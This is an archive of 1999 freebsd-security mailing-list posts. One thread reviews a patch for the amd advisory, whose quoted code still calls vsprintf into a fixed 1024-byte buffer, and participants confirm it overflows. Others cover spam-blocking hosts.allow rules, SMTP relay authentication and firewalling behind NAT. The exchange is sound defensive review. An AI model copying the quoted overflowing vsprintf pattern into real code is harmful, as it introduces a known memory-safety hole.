([192.168.0.3] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.032 #1) id 11TVPU-0004rJ-00; Tue, 21 Sep 1999 20:17:04 +0100 Received: (from ben) by lithium.scientia.demon.co.uk (Exim 3.032 #1) id 11TVPT-0004sM-00; Tue, 21 Sep 1999 20:17:03 +0100 Date: Tue, 21 Sep 1999 20:17:03 +0100 From: Ben Smithurst To: FreeBSD Security Officer Cc: security@freebsd.org Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-99:06.amd Message-ID: <19990921201703.C17788@lithium.scientia.demon.co.uk> References: <199909210214.UAA22243@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <199909210214.UAA22243@harmony.village.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org FreeBSD Security Officer wrote: > + /* > + * XXX: ptr is 1024 bytes long. It is possible to write into it > + * more than 1024 bytes, if efmt is already large, and vargs expand > + * as well. > + */ > vsprintf(ptr, efmt, vargs); > + msg[1023] = '\0'; /* null terminate, to be sure */ This may be a stupid question, but why not just replace the last two lines with vsnprintf(ptr, 1024, efmt, vargs); ? -- Ben Smithurst | PGP: 0x99392F7D ben@scientia.demon.co.uk | key available from keyservers and | ben+pgp@scientia.demon.co.uk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 13:46:24 1999 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id EB44B14F39; Tue, 21 Sep 1999 13:45:09 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA02190; Tue, 21 Sep 1999 14:45:08 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA27505; Tue, 21 Sep 1999 14:44:40 -0600 (MDT) Message-Id: <199909212044.OAA27505@harmony.village.org> To: Ben Smithurst Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-99:06.amd Cc: FreeBSD Security Officer , security@freebsd.org In-reply-to: Your message of "Tue, 21 Sep 1999 20:17:03 BST." <19990921201703.C17788@lithium.scientia.demon.co.uk> References: <19990921201703.C17788@lithium.scientia.demon.co.uk> <199909210214.UAA22243@harmony.village.org> Date: Tue, 21 Sep 1999 14:44:40 -0600 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19990921201703.C17788@lithium.scientia.demon.co.uk> Ben Smithurst writes: : FreeBSD Security Officer wrote: : : > + /* : > + * XXX: ptr is 1024 bytes long. It is possible to write into it : > + * more than 1024 bytes, if efmt is already large, and vargs expand : > + * as well. : > + */ : > vsprintf(ptr, efmt, vargs); : > + msg[1023] = '\0'; /* null terminate, to be sure */ : : This may be a stupid question, but why not just replace the last two lines : with : : vsnprintf(ptr, 1024, efmt, vargs); : : ? That would actually be safer. Since the former does overflow. Damn. I hate it when patches I thought I'd reviewed come up with things like this :-( Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 15:50:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id E8D681545D for ; Tue, 21 Sep 1999 15:50:25 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id AAA20392 for security@FreeBSD.ORG; Wed, 22 Sep 1999 00:50:23 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id A42CE8711; Wed, 22 Sep 1999 00:39:45 +0200 (CEST) Date: Wed, 22 Sep 1999 00:39:45 +0200 From: Ollivier Robert To: security@FreeBSD.ORG Subject: Re: hackers? Message-ID: <19990922003945.A68471@keltia.freenix.fr> Mail-Followup-To: security@FreeBSD.ORG References: <3.0.5.32.19990921145047.013e24b0@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0pre2i In-Reply-To: X-Operating-System: FreeBSD 4.0-CURRENT/ELF ctm#5593 AMD-K6 MMX @ 200 MHz Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org According to Mr. K.: > I think I figured out what is happening. The relaying is indeed getting > denied, but unfortunately some of the spammers software is waiting blindly > for a positive response (and thus keeping a connection until they time Ditch sendmail and install Postfix[1]. It has more anti-spam controls than sendmail, is easier to install and maintain and has features to prevent this kind of behaviour. Do it now. Really. [1] -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep 9 00:20:51 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 16:20:30 1999 Delivered-To: freebsd-security@freebsd.org Received: from inbox.org (inbox.org [216.22.145.8]) by hub.freebsd.org (Postfix) with ESMTP id 357CA14BF9 for ; Tue, 21 Sep 1999 16:20:22 -0700 (PDT) (envelope-from bsd@a.servers.aozilla.com) Received: from localhost (bsd@localhost) by inbox.org (8.9.3/8.9.3) with ESMTP id TAA11048; Tue, 21 Sep 1999 19:20:27 -0400 (EDT) Date: Tue, 21 Sep 1999 19:20:27 -0400 (EDT) From: "Mr. K." X-Sender: bsd@inbox.org To: Mike Tancsa Cc: security@FreeBSD.ORG Subject: Re: Sendmail blocking of spammers (was Re: hackers?) In-Reply-To: <3.0.5.32.19990921153905.01499100@staff.sentex.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > You have another option. If you have tcp_wrappers installed (its installed > in all 3.[2|3] versions by default), you can deny by sub domain. The > spammers are coming from *.ipt.aol.com. Block from that subdomain on. AOL > for its mail exchangers are all of the form xx.mx.aol.com, not ipt.aol.com > e.g. > aol.com preference = 15, mail exchanger = zd.mx.aol.com > > ---Mike > ah, good idea. will that block aol users from accessing my website, though? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 16:29:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail-gw2.pacbell.net (mail-gw2.pacbell.net [206.13.28.53]) by hub.freebsd.org (Postfix) with ESMTP id A6B7114F86 for ; Tue, 21 Sep 1999 16:29:27 -0700 (PDT) (envelope-from gekk0@pacbell.net) Received: from galaga (adsl-63-193-239-82.dsl.snfc21.pacbell.net [63.193.239.82]) by mail-gw2.pacbell.net (8.9.3/8.9.3) with ESMTP id QAA20263; Tue, 21 Sep 1999 16:29:23 -0700 (PDT) Message-Id: <4.2.0.58.19990921162807.0094f6e0@pacbell.net> X-Sender: gekk0@pacbell.net (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 (demo) Date: Tue, 21 Sep 1999 16:30:29 -0700 To: "Mr. K." From: gek Subject: Re: hackers? Cc: freebsd-security@freebsd.org In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > >Right now all relaying is shut off. >Is there somewhere that I can get more information on using pop >authentication for relaying? That would be perfect as myself and the >other users connect from a large number of different locations and dynamic >ip addresses. > >I think you are wanting SMTP authentication, not POP (kind of hard to >relay through POP ;) It is possible, I don't know the exact details, but search for ESMTP (I think that is it) good luck To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 16:31:42 1999 Delivered-To: freebsd-security@freebsd.org Received: from sand2.sentex.ca (sand2.sentex.ca [209.167.248.3]) by hub.freebsd.org (Postfix) with ESMTP id DA4E914F86 for ; Tue, 21 Sep 1999 16:31:39 -0700 (PDT) (envelope-from mike@sentex.net) Received: from gravel (ospf-mdt.sentex.net [205.211.164.81]) by sand2.sentex.ca (8.8.8/8.8.8) with SMTP id TAA08027; Tue, 21 Sep 1999 19:31:37 -0400 (EDT) (envelope-from mike@sentex.net) Message-Id: <4.1.19990921194237.05e17600@granite.sentex.ca> X-Sender: mdtancsa@granite.sentex.ca X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Tue, 21 Sep 1999 19:45:16 -0400 To: "Mr. K." From: Mike Tancsa Subject: Re: Sendmail blocking of spammers (was Re: hackers?) Cc: security@FreeBSD.ORG In-Reply-To: References: <3.0.5.32.19990921153905.01499100@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 07:20 PM 9/21/99 , Mr. K. wrote: >> You have another option. If you have tcp_wrappers installed (its installed >> in all 3.[2|3] versions by default), you can deny by sub domain. The >> spammers are coming from *.ipt.aol.com. Block from that subdomain on. AOL >> for its mail exchangers are all of the form xx.mx.aol.com, not ipt.aol.com >> e.g. >> aol.com preference = 15, mail exchanger = zd.mx.aol.com >> >> ---Mike >> >ah, good idea. will that block aol users from accessing my website, >though? You dont have to wrap uniformly for all services. You would do this only for sendmail. e.g. in your /etc/hosts.allow sendmail : .evil.cracker.example.com : deny sendmail : .ipt.aol.com : deny There is generally no reason those dialup customers would want to / need to speak directly to your mail server. ---Mike ********************************************************************** Mike Tancsa, Network Admin * mike@sentex.net Sentex Communications Corp, * http://www.sentex.net/mike Cambridge, Ontario * 01.519.651.3400 Canada * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 19:51:46 1999 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (f77.law3.hotmail.com [209.185.241.77]) by hub.freebsd.org (Postfix) with SMTP id E00F814EA5 for ; Tue, 21 Sep 1999 19:50:32 -0700 (PDT) (envelope-from zamhacker@hotmail.com) Received: (qmail 9161 invoked by uid 0); 22 Sep 1999 02:50:32 -0000 Message-ID: <19990922025032.9160.qmail@hotmail.com> Received: from 203.106.60.42 by www.hotmail.com with HTTP; Tue, 21 Sep 1999 19:50:31 PDT X-Originating-IP: [203.106.60.42] From: "zam zam" To: security-notifications@freebsd.org Cc: security@freebsd.org Subject: sucribe Date: Wed, 22 Sep 1999 02:50:31 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Sep 21 23: 9:49 1999 Delivered-To: freebsd-security@freebsd.org Received: from gaia.nimnet.asn.au (nimbin.lnk.telstra.net [139.130.45.143]) by hub.freebsd.org (Postfix) with ESMTP id 4EDD114D83 for ; Tue, 21 Sep 1999 23:09:44 -0700 (PDT) (envelope-from smithi@nimnet.asn.au) Received: from localhost (smithi@localhost) by gaia.nimnet.asn.au (8.8.8/8.8.8R1.0) with SMTP id QAA13410; Wed, 22 Sep 1999 16:09:30 +1000 (EST) (envelope-from smithi@nimnet.asn.au) Date: Wed, 22 Sep 1999 16:09:30 +1000 (EST) From: Ian Smith To: gek Cc: "Mr. K." , freebsd-security@FreeBSD.ORG Subject: Re: hackers? In-Reply-To: <4.2.0.58.19990921162807.0094f6e0@pacbell.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 21 Sep 1999, gek wrote: > >Right now all relaying is shut off. > >Is there somewhere that I can get more information on using pop > >authentication for relaying? That would be perfect as myself and the > >other users connect from a large number of different locations and dynamic > >ip addresses. > > > > >I think you are wanting SMTP authentication, not POP (kind of hard to > >relay through POP ;) > It is possible, I don't know the exact details, but search for ESMTP (I > think that is it) POP before SMTP for Sendmail: http://spam.abuse.net/tools/smPbS.html I need to try this one here before long too .. Cheers, Ian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Sep 22 6: 8:52 1999 Delivered-To: freebsd-security@freebsd.org Received: from waveconcepts.com (waveconcepts.com [207.126.116.40]) by hub.freebsd.org (Postfix) with ESMTP id 6207814BD6 for ; Wed, 22 Sep 1999 06:08:47 -0700 (PDT) (envelope-from siberian@siberian.org) Received: from [216.112.76.84] (gamera.siberian.org [216.112.76.84] (may be forged)) by waveconcepts.com (8.9.2/8.9.2) with ESMTP id GAA02956 for ; Wed, 22 Sep 1999 06:05:40 -0700 (PDT) Mime-Version: 1.0 X-Sender: siberian@207.126.116.40 Message-Id: In-Reply-To: References: Date: Wed, 22 Sep 1999 06:11:01 -0700 To: freebsd-security@FreeBSD.ORG From: John Armstrong Subject: Re: hackers? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I found this an undesirable hack as it requires modifying actual binaries making maintenance/upgrades a mess and generally being ugly. We found great success with the poprelayd.pl script and some sendmail.cf mods. It works great and is very portable. No spammers in a year although everyone prefers things their own way and it all eventually does the same thing so its a manner of what you are comfortable with. John- At 4:09 PM +1000 9/22/99, Ian Smith wrote: >On Tue, 21 Sep 1999, gek wrote: >ow the exact details, but search for ESMTP (I > > think that is it) > >POP before SMTP for Sendmail: http://spam.abuse.net/tools/smPbS.html > >I need to try this one here before long too .. > >Cheers, Ian -------------------------------------------------------------------- Whats a "Brannock Device"? The thing shoe salespeople use to measure feet. -Uncle John's Fourth Bathroom Reader To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Sep 22 12:23:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id C8C7114C9A; Wed, 22 Sep 1999 12:23:23 -0700 (PDT) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id MAA30037; Wed, 22 Sep 1999 12:23:21 -0700 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda30035; Wed Sep 22 12:23:12 1999 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.9.3/8.9.1) id MAA05400; Wed, 22 Sep 1999 12:23:11 -0700 (PDT) Message-Id: <199909221923.MAA05400@passer.osg.gov.bc.ca> Received: from localhost.osg.gov.bc.ca(127.0.0.1), claiming to be "passer.osg.gov.bc.ca" via SMTP by localhost.osg.gov.bc.ca, id smtpddM5393; Wed Sep 22 12:22:22 1999 X-Mailer: exmh version 2.0.2 2/24/98 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.3-RELEASE X-Sender: cy To: Eivind Eklund Cc: John Heyer , security@FreeBSD.ORG Subject: Re: port-blocking ipfw rules with NAT - necesary? In-reply-to: Your message of "Tue, 21 Sep 1999 12:45:28 +0200." <19990921124528.I12619@bitbox.follo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 22 Sep 1999 12:22:22 -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <19990921124528.I12619@bitbox.follo.net>, Eivind Eklund writes: > On Mon, Sep 20, 1999 at 04:13:41PM -0500, John Heyer wrote: > > > > In the firewall section of the handbook, it recommends something like: > > - Stop IP spoofing and RFC1918 networks on the outside interface > > - Deny most (if not all) UDP traffic > > - Protect TCP ports 1-1024,2000,2049,6000-6063 on the internal network > > > > These rules make sense, but I think they make the assumption the network > > you're protecting is routable. If I'm running NAT and my internal network > is > > non-routable, do I really need to continue blocking ports? For example, > > let's say someone was running an open relay mail server or vulnerable FTP > > server - would it be possible for an intruder to someone access the > > internal machine assuming I'm not using -redirect_port or > > -redirect_address with natd? > > It shouldn't be - but it is always prudent to use several layers of > defense. How true. A few years ago I was able to access (ping, traceroute) someone's RFC1918 network. More recently a leak, due to a misconfigured router, of some ARPA addresses were blocked by my firewall. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Province of BC "e**(i*pi)+1=0" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Sep 22 13:13:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id 4FEFB15500 for ; Wed, 22 Sep 1999 13:13:47 -0700 (PDT) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id NAA30162; Wed, 22 Sep 1999 13:13:42 -0700 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda30160; Wed Sep 22 13:13:26 1999 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.9.3/8.9.1) id NAA05832; Wed, 22 Sep 1999 13:13:13 -0700 (PDT) Message-Id: <199909222013.NAA05832@passer.osg.gov.bc.ca> Received: from localhost.osg.gov.bc.ca(127.0.0.1), claiming to be "passer.osg.gov.bc.ca" via SMTP by localhost.osg.gov.bc.ca, id smtpdMW5828; Wed Sep 22 13:13:11 1999 X-Mailer: exmh version 2.0.2 2/24/98 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.3-RELEASE X-Sender: cy To: Mike Tancsa Cc: "Mr. K." , security@FreeBSD.ORG Subject: Re: Sendmail blocking of spammers (was Re: hackers?) In-reply-to: Your message of "Tue, 21 Sep 1999 15:39:05 EDT." <3.0.5.32.19990921153905.01499100@staff.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 22 Sep 1999 13:13:10 -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <3.0.5.32.19990921153905.01499100@staff.sentex.ca>, Mike Tancsa writ es: > >I think I figured out what is happening. The relaying is indeed getting > >denied, but unfortunately some of the spammers software is waiting blindly > >for a positive response (and thus keeping a connection until they time > >out). My choices seem to be ipfw (which I don't want to do as I don't > >want to block all aol users), or somehow getting sendmail to disconnect on > >a "relaying denied" (instead of sitting there until they timeout). I > >can't figure out how to do the latter (doesn't seem to be possible). And > >of course calling AOL and bitching, at least that will feel good if I can > >get a bunch of these spammers booted. > > You have another option. If you have tcp_wrappers installed (its installed > in all 3.[2|3] versions by default), you can deny by sub domain. The > spammers are coming from *.ipt.aol.com. Block from that subdomain on. AOL > for its mail exchangers are all of the form xx.mx.aol.com, not ipt.aol.com > e.g. > aol.com preference = 15, mail exchanger = zd.mx.aol.com Or try the smtpd port. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Open Systems Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Cy.Schubert@gems8.gov.bc.ca Province of BC "e**(i*pi)+1=0" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Sep 22 20:26:57 1999 Delivered-To: freebsd-security@freebsd.org Received: from navajo.cbn.net.id (navajo.cbn.net.id [202.158.2.132]) by hub.freebsd.org (Postfix) with SMTP id 6ADA614F16 for ; Wed, 22 Sep 1999 20:26:44 -0700 (PDT) (envelope-from ayip-maildrop@cbn.net.id) Received: (qmail 8594 invoked from network); 23 Sep 1999 03:20:19 -0000 Received: from unknown (HELO cbn.net.id) (202.158.2.132) by navajo.cbn.net.id with SMTP; 23 Sep 1999 03:20:19 -0000 Message-ID: <37E99C63.34A792CC@cbn.net.id> Date: Thu, 23 Sep 1999 10:20:03 +0700 From: "A.Y. Sjarifuddin" Organization: http://www.cbn.net.id X-Mailer: Mozilla 4.6 [en] (X11; I; Linux 2.2.5-15 i586) X-Accept-Language: en, fr, id MIME-Version: 1.0 To: security@freebsd.org Subject: RAM 1 Gbytes and Mylex References: <199909201021.OAA00729@paranoid.eltex.spb.ru> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dear All. I was wondering if freebsd now can handle RAM over 1 Gbytes and support Mylex 86238 (i960) Thanks Ayip. -- The devil finds work for idle circuits to do. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Sep 22 21:29:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from bse.bse.bg (bse.bse.bg [195.138.140.3]) by hub.freebsd.org (Postfix) with ESMTP id DD9C614F1C for ; Wed, 22 Sep 1999 21:29:20 -0700 (PDT) (envelope-from hristo@bse.bg) Received: from bse.bg (rojen.bse.bg [195.138.140.13]) by bse.bse.bg (8.9.3/8.9.0) with ESMTP id HAA12223; Thu, 23 Sep 1999 07:27:09 +0300 (EEST) Message-ID: <37E9AC1D.8810D9AC@bse.bg> Date: Thu, 23 Sep 1999 07:27:09 +0300 From: Hristo Grigorov Organization: BSE Internet Department X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,bg MIME-Version: 1.0 To: "A.Y. Sjarifuddin" Cc: security@freebsd.org Subject: Re: RAM 1 Gbytes and Mylex References: <199909201021.OAA00729@paranoid.eltex.spb.ru> <37E99C63.34A792CC@cbn.net.id> Content-Type: multipart/mixed; boundary="------------C47AE8AFB749946C124A3991" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org This is a multi-part message in MIME format. --------------C47AE8AFB749946C124A3991 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit ftp://ftp.cdrom.com/archive-info/wcarchive.txt "A.Y. Sjarifuddin" wrote: > > Dear All. > I was wondering if freebsd now can handle RAM over 1 Gbytes > and support Mylex 86238 (i960) > > Thanks > Ayip. > -- > The devil finds work for idle circuits to do. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message --------------C47AE8AFB749946C124A3991 Content-Type: text/x-vcard; charset=koi8-r; name="hristo.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Hristo Grigorov Content-Disposition: attachment; filename="hristo.vcf" begin:vcard n:Grigorov;Hristo tel;pager:0179253557 tel;fax:+359 56 29635 tel;work:+359 56 28153 x-mozilla-html:FALSE url:http://nic.bse.bg/~hristo/ org:;Internet Department adr:;;k-s B.Miladinovi 42A;Bourgas;;8000;BULGARIA version:2.1 email;internet:Hristo@BSE.BG title:Internet Services Manager fn:Hristo Grigorov end:vcard --------------C47AE8AFB749946C124A3991-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Sep 22 22:43:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id DD7AA14F16 for ; Wed, 22 Sep 1999 22:43:22 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #2) id 11U1f4-0005HI-00 for security@FreeBSD.ORG; Wed, 22 Sep 1999 23:43:21 -0600 Message-ID: <37E9BDF5.8B324775@softweyr.com> Date: Wed, 22 Sep 1999 23:43:17 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: security@FreeBSD.ORG Subject: Re: FreeBSD Security Advisory References: <199909210214.UAA22243@harmony.village.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I never got enough discussion, nor an answer from Mr. Security Officer, Sir. Should we be publishing the SAs, or at least references to them, on daily.daemonnews.org? Do we feel the security and announce mailing list is enough? I'm willing to post the FreeBSD ones if we mostly agree this is a good idea. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Sep 22 23: 5:28 1999 Delivered-To: freebsd-security@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 75D3F14EC4 for ; Wed, 22 Sep 1999 23:05:22 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id IAA08362 for security@FreeBSD.ORG; Thu, 23 Sep 1999 08:05:20 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id EDD6A8711; Thu, 23 Sep 1999 07:55:33 +0200 (CEST) Date: Thu, 23 Sep 1999 07:55:33 +0200 From: Ollivier Robert To: security@FreeBSD.ORG Subject: Re: Sendmail blocking of spammers (was Re: hackers?) Message-ID: <19990923075533.A80469@keltia.freenix.fr> Mail-Followup-To: security@FreeBSD.ORG References: <3.0.5.32.19990921153905.01499100@staff.sentex.ca> <4.1.19990921194237.05e17600@granite.sentex.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0pre2i In-Reply-To: <4.1.19990921194237.05e17600@granite.sentex.ca> X-Operating-System: FreeBSD 4.0-CURRENT/ELF ctm#5593 AMD-K6 MMX @ 200 MHz Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org According to Mike Tancsa: > There is generally no reason those dialup customers would want to / need to > speak directly to your mail server. It is easier to use services like the DUL (http://maps.vix.com/dul/) becuase you don't have to maintain the list yourself :-) -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep 9 00:20:51 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 0:59:59 1999 Delivered-To: freebsd-security@freebsd.org Received: from magnesium.net (toxic.magnesium.net [204.188.6.238]) by hub.freebsd.org (Postfix) with SMTP id C472C159C6 for ; Thu, 23 Sep 1999 00:59:54 -0700 (PDT) (envelope-from unfurl@magnesium.net) Received: (qmail 53249 invoked by uid 1001); 23 Sep 1999 07:59:52 -0000 Date: 23 Sep 1999 00:59:52 -0700 Date: Thu, 23 Sep 1999 00:59:52 -0700 From: Bill Swingle To: Wes Peters Cc: security@FreeBSD.ORG Subject: Re: FreeBSD Security Advisory Message-ID: <19990923005952.A53094@dub.net> References: <199909210214.UAA22243@harmony.village.org> <37E9BDF5.8B324775@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre1i In-Reply-To: <37E9BDF5.8B324775@softweyr.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Sep 22, 1999 at 11:43:17PM -0600, Wes Peters wrote: > I never got enough discussion, nor an answer from Mr. Security Officer, Sir. > Should we be publishing the SAs, or at least references to them, on > daily.daemonnews.org? Do we feel the security and announce mailing list > is enough? > > I'm willing to post the FreeBSD ones if we mostly agree this is a good idea. I'm all in favor of it. The SA make it to Bugtraq almost immediatly after Mr. Security Officer send them out to the FreeBSD lists. IMHO, the wider distributed they are the better. -Bill -- -=| --- B i l l S w i n g l e --- http://www.dub.net/ -=| unfurl@dub.net - unfurl@freebsd.org - bill@cdrom.com -=| Different all twisty a of in maze are you, passages little To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Sep 23 1:57: 7 1999 Delivered-To: freebsd-security@freebsd.org Received: from mail1.cai.com (mail1.cai.com [141.202.248.38]) by hub.freebsd.org (Postfix) with ESMTP id B6E5D14E2C for ; Thu, 23 Sep 1999 01:57:03 -0700 (PDT) (envelope-from lodea@vet.com.au) Received: from asmees04.cai.com ([155.35.171.4]) by mail1.cai.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2232.9) id S70RM4X4; Thu, 23 Sep 1999 04:56:00 -0400 Received: from rivendell.mel.cybec.com.au (rivendell.mel.cybec.com.au [203.103.154.61]) by asmees04.cai.com (8.9.2/8.9.2) with ESMTP id SAA09226 for ; Thu, 23 Sep 1999 18:58:52 +1000 (EST) Received: (from lodea@localhost) by rivendell.mel.cybec.com.au (8.9.3/8.9.3) id NAA23882 for security@FreeBSD.ORG; Wed, 1 Sep 1999 13:19:26 +1000 (EST) Date: Wed, 1 Sep 1999 13:19:25 +1000 From: "Lachlan O'Dea" To: security@FreeBSD.ORG Subject: Re: hotmail Message-ID: 